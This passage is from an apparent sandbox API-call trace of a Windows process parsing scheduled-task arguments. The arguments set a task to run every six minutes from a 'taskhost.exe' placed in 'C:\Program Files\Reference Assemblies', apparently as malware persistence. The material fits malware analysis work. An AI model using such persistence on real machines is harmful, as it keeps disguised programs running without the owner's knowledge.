(lpString="sc") returned 2 [0142.354] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.354] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|query|") returned 7 [0142.354] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|sc|") returned 4 [0142.354] lstrlenW (lpString="|query|") returned 7 [0142.355] lstrlenW (lpString="|sc|") returned 4 [0142.355] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0142.355] SetLastError (dwErrCode=0x490) [0142.355] lstrlenW (lpString="change") returned 6 [0142.355] lstrlenW (lpString="change") returned 6 [0142.355] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.355] lstrlenW (lpString="sc") returned 2 [0142.355] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.355] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|change|") returned 8 [0142.355] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|sc|") returned 4 [0142.355] lstrlenW (lpString="|change|") returned 8 [0142.355] lstrlenW (lpString="|sc|") returned 4 [0142.355] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0142.355] SetLastError (dwErrCode=0x490) [0142.355] lstrlenW (lpString="run") returned 3 [0142.355] lstrlenW (lpString="run") returned 3 [0142.356] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.356] lstrlenW (lpString="sc") returned 2 [0142.356] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.356] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|run|") returned 5 [0142.356] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|sc|") returned 4 [0142.356] lstrlenW (lpString="|run|") returned 5 [0142.356] lstrlenW (lpString="|sc|") returned 4 [0142.356] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0142.356] SetLastError (dwErrCode=0x490) [0142.356] lstrlenW (lpString="end") returned 3 [0142.356] lstrlenW (lpString="end") returned 3 [0142.356] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.356] lstrlenW (lpString="sc") returned 2 [0142.356] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.356] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|end|") returned 5 [0142.357] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|sc|") returned 4 [0142.357] lstrlenW (lpString="|end|") returned 5 [0142.357] lstrlenW (lpString="|sc|") returned 4 [0142.357] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0142.357] SetLastError (dwErrCode=0x490) [0142.357] lstrlenW (lpString="showsid") returned 7 [0142.357] lstrlenW (lpString="showsid") returned 7 [0142.357] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.357] lstrlenW (lpString="sc") returned 2 [0142.357] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.357] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|showsid|") returned 9 [0142.357] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|sc|") returned 4 [0142.357] lstrlenW (lpString="|showsid|") returned 9 [0142.357] lstrlenW (lpString="|sc|") returned 4 [0142.357] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0142.357] SetLastError (dwErrCode=0x490) [0142.357] SetLastError (dwErrCode=0x490) [0142.357] SetLastError (dwErrCode=0x0) [0142.358] lstrlenW (lpString="/sc") returned 3 [0142.358] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0142.359] SetLastError (dwErrCode=0x490) [0142.359] SetLastError (dwErrCode=0x0) [0142.359] lstrlenW (lpString="/sc") returned 3 [0142.359] GetProcessHeap () returned 0x420000 [0142.359] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x8) returned 0x43dc90 [0142.359] GetProcessHeap () returned 0x420000 [0142.359] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cc30 [0142.359] SetLastError (dwErrCode=0x0) [0142.359] SetLastError (dwErrCode=0x0) [0142.359] lstrlenW (lpString="MINUTE") returned 6 [0142.359] lstrlenW (lpString="-/") returned 2 [0142.359] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0142.359] SetLastError (dwErrCode=0x490) [0142.359] SetLastError (dwErrCode=0x490) [0142.360] SetLastError (dwErrCode=0x0) [0142.360] lstrlenW (lpString="MINUTE") returned 6 [0142.360] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0142.360] SetLastError (dwErrCode=0x490) [0142.360] SetLastError (dwErrCode=0x0) [0142.360] lstrlenW (lpString="MINUTE") returned 6 [0142.360] GetProcessHeap () returned 0x420000 [0142.360] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xe) returned 0x43d4e0 [0142.360] GetProcessHeap () returned 0x420000 [0142.360] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cc60 [0142.360] SetLastError (dwErrCode=0x0) [0142.360] SetLastError (dwErrCode=0x0) [0142.360] lstrlenW (lpString="/mo") returned 3 [0142.360] lstrlenW (lpString="-/") returned 2 [0142.360] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.360] lstrlenW (lpString="?") returned 1 [0142.360] lstrlenW (lpString="?") returned 1 [0142.360] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.360] lstrlenW (lpString="mo") returned 2 [0142.360] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.361] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|?|") returned 3 [0142.361] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|mo|") returned 4 [0142.361] lstrlenW (lpString="|?|") returned 3 [0142.361] lstrlenW (lpString="|mo|") returned 4 [0142.361] SetLastError (dwErrCode=0x490) [0142.361] lstrlenW (lpString="create") returned 6 [0142.361] lstrlenW (lpString="create") returned 6 [0142.361] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.361] lstrlenW (lpString="mo") returned 2 [0142.361] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.361] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|create|") returned 8 [0142.361] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|mo|") returned 4 [0142.361] lstrlenW (lpString="|create|") returned 8 [0142.361] lstrlenW (lpString="|mo|") returned 4 [0142.361] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0142.361] SetLastError (dwErrCode=0x490) [0142.361] lstrlenW (lpString="delete") returned 6 [0142.362] lstrlenW (lpString="delete") returned 6 [0142.362] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.362] lstrlenW (lpString="mo") returned 2 [0142.362] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.362] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|delete|") returned 8 [0142.362] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|mo|") returned 4 [0142.362] lstrlenW (lpString="|delete|") returned 8 [0142.362] lstrlenW (lpString="|mo|") returned 4 [0142.362] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0142.362] SetLastError (dwErrCode=0x490) [0142.362] lstrlenW (lpString="query") returned 5 [0142.362] lstrlenW (lpString="query") returned 5 [0142.362] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.362] lstrlenW (lpString="mo") returned 2 [0142.362] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.362] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|query|") returned 7 [0142.362] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|mo|") returned 4 [0142.362] lstrlenW (lpString="|query|") returned 7 [0142.363] lstrlenW (lpString="|mo|") returned 4 [0142.363] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0142.363] SetLastError (dwErrCode=0x490) [0142.363] lstrlenW (lpString="change") returned 6 [0142.363] lstrlenW (lpString="change") returned 6 [0142.363] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.363] lstrlenW (lpString="mo") returned 2 [0142.363] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.363] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|change|") returned 8 [0142.363] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|mo|") returned 4 [0142.363] lstrlenW (lpString="|change|") returned 8 [0142.363] lstrlenW (lpString="|mo|") returned 4 [0142.363] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0142.363] SetLastError (dwErrCode=0x490) [0142.363] lstrlenW (lpString="run") returned 3 [0142.363] lstrlenW (lpString="run") returned 3 [0142.363] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.364] lstrlenW (lpString="mo") returned 2 [0142.364] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.364] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|run|") returned 5 [0142.364] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|mo|") returned 4 [0142.364] lstrlenW (lpString="|run|") returned 5 [0142.364] lstrlenW (lpString="|mo|") returned 4 [0142.364] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0142.364] SetLastError (dwErrCode=0x490) [0142.364] lstrlenW (lpString="end") returned 3 [0142.364] lstrlenW (lpString="end") returned 3 [0142.364] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.364] lstrlenW (lpString="mo") returned 2 [0142.364] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.364] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|end|") returned 5 [0142.364] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|mo|") returned 4 [0142.364] lstrlenW (lpString="|end|") returned 5 [0142.364] lstrlenW (lpString="|mo|") returned 4 [0142.365] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0142.365] SetLastError (dwErrCode=0x490) [0142.365] lstrlenW (lpString="showsid") returned 7 [0142.365] lstrlenW (lpString="showsid") returned 7 [0142.365] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.365] lstrlenW (lpString="mo") returned 2 [0142.365] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.365] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|showsid|") returned 9 [0142.365] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|mo|") returned 4 [0142.365] lstrlenW (lpString="|showsid|") returned 9 [0142.365] lstrlenW (lpString="|mo|") returned 4 [0142.365] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0142.365] SetLastError (dwErrCode=0x490) [0142.365] SetLastError (dwErrCode=0x490) [0142.365] SetLastError (dwErrCode=0x0) [0142.365] lstrlenW (lpString="/mo") returned 3 [0142.365] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0142.365] SetLastError (dwErrCode=0x490) [0142.365] SetLastError (dwErrCode=0x0) [0142.366] lstrlenW (lpString="/mo") returned 3 [0142.366] GetProcessHeap () returned 0x420000 [0142.366] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x8) returned 0x43dcb0 [0142.366] GetProcessHeap () returned 0x420000 [0142.366] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cc90 [0142.366] SetLastError (dwErrCode=0x0) [0142.366] SetLastError (dwErrCode=0x0) [0142.366] lstrlenW (lpString="6") returned 1 [0142.366] SetLastError (dwErrCode=0x490) [0142.366] SetLastError (dwErrCode=0x0) [0142.366] lstrlenW (lpString="6") returned 1 [0142.366] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0142.366] SetLastError (dwErrCode=0x490) [0142.366] SetLastError (dwErrCode=0x0) [0142.366] lstrlenW (lpString="6") returned 1 [0142.366] GetProcessHeap () returned 0x420000 [0142.366] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x4) returned 0x43dcd0 [0142.366] GetProcessHeap () returned 0x420000 [0142.366] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43ccc0 [0142.367] SetLastError (dwErrCode=0x0) [0142.367] SetLastError (dwErrCode=0x0) [0142.367] lstrlenW (lpString="/tr") returned 3 [0142.367] lstrlenW (lpString="-/") returned 2 [0142.367] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.367] lstrlenW (lpString="?") returned 1 [0142.367] lstrlenW (lpString="?") returned 1 [0142.367] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.367] lstrlenW (lpString="tr") returned 2 [0142.367] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.367] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|?|") returned 3 [0142.367] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tr|") returned 4 [0142.367] lstrlenW (lpString="|?|") returned 3 [0142.367] lstrlenW (lpString="|tr|") returned 4 [0142.367] SetLastError (dwErrCode=0x490) [0142.367] lstrlenW (lpString="create") returned 6 [0142.367] lstrlenW (lpString="create") returned 6 [0142.367] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.368] lstrlenW (lpString="tr") returned 2 [0142.368] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.368] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|create|") returned 8 [0142.368] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tr|") returned 4 [0142.368] lstrlenW (lpString="|create|") returned 8 [0142.368] lstrlenW (lpString="|tr|") returned 4 [0142.368] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0142.368] SetLastError (dwErrCode=0x490) [0142.368] lstrlenW (lpString="delete") returned 6 [0142.368] lstrlenW (lpString="delete") returned 6 [0142.368] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.368] lstrlenW (lpString="tr") returned 2 [0142.368] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.368] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|delete|") returned 8 [0142.368] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tr|") returned 4 [0142.368] lstrlenW (lpString="|delete|") returned 8 [0142.368] lstrlenW (lpString="|tr|") returned 4 [0142.369] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0142.369] SetLastError (dwErrCode=0x490) [0142.369] lstrlenW (lpString="query") returned 5 [0142.369] lstrlenW (lpString="query") returned 5 [0142.369] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.369] lstrlenW (lpString="tr") returned 2 [0142.369] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.369] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|query|") returned 7 [0142.369] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tr|") returned 4 [0142.369] lstrlenW (lpString="|query|") returned 7 [0142.369] lstrlenW (lpString="|tr|") returned 4 [0142.369] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0142.369] SetLastError (dwErrCode=0x490) [0142.369] lstrlenW (lpString="change") returned 6 [0142.369] lstrlenW (lpString="change") returned 6 [0142.369] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.369] lstrlenW (lpString="tr") returned 2 [0142.369] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.370] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|change|") returned 8 [0142.370] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tr|") returned 4 [0142.370] lstrlenW (lpString="|change|") returned 8 [0142.370] lstrlenW (lpString="|tr|") returned 4 [0142.370] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0142.370] SetLastError (dwErrCode=0x490) [0142.370] lstrlenW (lpString="run") returned 3 [0142.370] lstrlenW (lpString="run") returned 3 [0142.370] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.370] lstrlenW (lpString="tr") returned 2 [0142.370] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.370] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|run|") returned 5 [0142.370] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tr|") returned 4 [0142.370] lstrlenW (lpString="|run|") returned 5 [0142.370] lstrlenW (lpString="|tr|") returned 4 [0142.370] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0142.370] SetLastError (dwErrCode=0x490) [0142.371] lstrlenW (lpString="end") returned 3 [0142.371] lstrlenW (lpString="end") returned 3 [0142.371] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.371] lstrlenW (lpString="tr") returned 2 [0142.371] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.371] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|end|") returned 5 [0142.371] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tr|") returned 4 [0142.371] lstrlenW (lpString="|end|") returned 5 [0142.371] lstrlenW (lpString="|tr|") returned 4 [0142.371] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0142.371] SetLastError (dwErrCode=0x490) [0142.371] lstrlenW (lpString="showsid") returned 7 [0142.371] lstrlenW (lpString="showsid") returned 7 [0142.371] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.371] lstrlenW (lpString="tr") returned 2 [0142.371] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.371] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|showsid|") returned 9 [0142.372] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tr|") returned 4 [0142.372] lstrlenW (lpString="|showsid|") returned 9 [0142.372] lstrlenW (lpString="|tr|") returned 4 [0142.372] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0142.372] SetLastError (dwErrCode=0x490) [0142.372] SetLastError (dwErrCode=0x490) [0142.372] SetLastError (dwErrCode=0x0) [0142.372] lstrlenW (lpString="/tr") returned 3 [0142.372] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0142.372] SetLastError (dwErrCode=0x490) [0142.372] SetLastError (dwErrCode=0x0) [0142.374] lstrlenW (lpString="/tr") returned 3 [0142.374] GetProcessHeap () returned 0x420000 [0142.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x8) returned 0x43dcf0 [0142.374] GetProcessHeap () returned 0x420000 [0142.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43ccf0 [0142.374] SetLastError (dwErrCode=0x0) [0142.374] SetLastError (dwErrCode=0x0) [0142.374] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.374] lstrlenW (lpString="-/") returned 2 [0142.374] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0142.374] SetLastError (dwErrCode=0x490) [0142.374] SetLastError (dwErrCode=0x490) [0142.375] SetLastError (dwErrCode=0x0) [0142.375] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.375] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\taskhost.exe'" [0142.375] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.375] GetProcessHeap () returned 0x420000 [0142.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43d500 [0142.375] _memicmp (_Buf1=0x43d500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.375] GetProcessHeap () returned 0x420000 [0142.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xe) returned 0x43d520 [0142.375] GetProcessHeap () returned 0x420000 [0142.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43d540 [0142.375] _memicmp (_Buf1=0x43d540, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.375] GetProcessHeap () returned 0x420000 [0142.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x6c) returned 0x43dd10 [0142.375] SetLastError (dwErrCode=0x7a) [0142.375] SetLastError (dwErrCode=0x0) [0142.376] SetLastError (dwErrCode=0x0) [0142.376] lstrlenW (lpString="'C") returned 2 [0142.376] lstrlenW (lpString="-/") returned 2 [0142.376] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0142.376] SetLastError (dwErrCode=0x490) [0142.376] SetLastError (dwErrCode=0x490) [0142.376] SetLastError (dwErrCode=0x0) [0142.376] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.376] GetProcessHeap () returned 0x420000 [0142.376] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x6a) returned 0x43dd90 [0142.376] GetProcessHeap () returned 0x420000 [0142.376] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cd20 [0142.376] SetLastError (dwErrCode=0x0) [0142.376] SetLastError (dwErrCode=0x0) [0142.376] lstrlenW (lpString="/f") returned 2 [0142.376] lstrlenW (lpString="-/") returned 2 [0142.376] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.377] lstrlenW (lpString="?") returned 1 [0142.377] lstrlenW (lpString="?") returned 1 [0142.377] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.377] lstrlenW (lpString="f") returned 1 [0142.377] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.377] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|?|") returned 3 [0142.377] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|f|") returned 3 [0142.377] lstrlenW (lpString="|?|") returned 3 [0142.377] lstrlenW (lpString="|f|") returned 3 [0142.377] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0142.377] SetLastError (dwErrCode=0x490) [0142.377] lstrlenW (lpString="create") returned 6 [0142.377] lstrlenW (lpString="create") returned 6 [0142.377] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.377] lstrlenW (lpString="f") returned 1 [0142.377] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.378] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|create|") returned 8 [0142.378] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|f|") returned 3 [0142.378] lstrlenW (lpString="|create|") returned 8 [0142.378] lstrlenW (lpString="|f|") returned 3 [0142.378] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0142.378] SetLastError (dwErrCode=0x490) [0142.378] lstrlenW (lpString="delete") returned 6 [0142.378] lstrlenW (lpString="delete") returned 6 [0142.378] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.378] lstrlenW (lpString="f") returned 1 [0142.378] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.378] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|delete|") returned 8 [0142.378] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|f|") returned 3 [0142.378] lstrlenW (lpString="|delete|") returned 8 [0142.378] lstrlenW (lpString="|f|") returned 3 [0142.378] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0142.379] SetLastError (dwErrCode=0x490) [0142.379] lstrlenW (lpString="query") returned 5 [0142.379] lstrlenW (lpString="query") returned 5 [0142.379] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.379] lstrlenW (lpString="f") returned 1 [0142.379] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.379] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|query|") returned 7 [0142.379] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|f|") returned 3 [0142.379] lstrlenW (lpString="|query|") returned 7 [0142.379] lstrlenW (lpString="|f|") returned 3 [0142.379] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0142.379] SetLastError (dwErrCode=0x490) [0142.379] lstrlenW (lpString="change") returned 6 [0142.379] lstrlenW (lpString="change") returned 6 [0142.379] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.380] 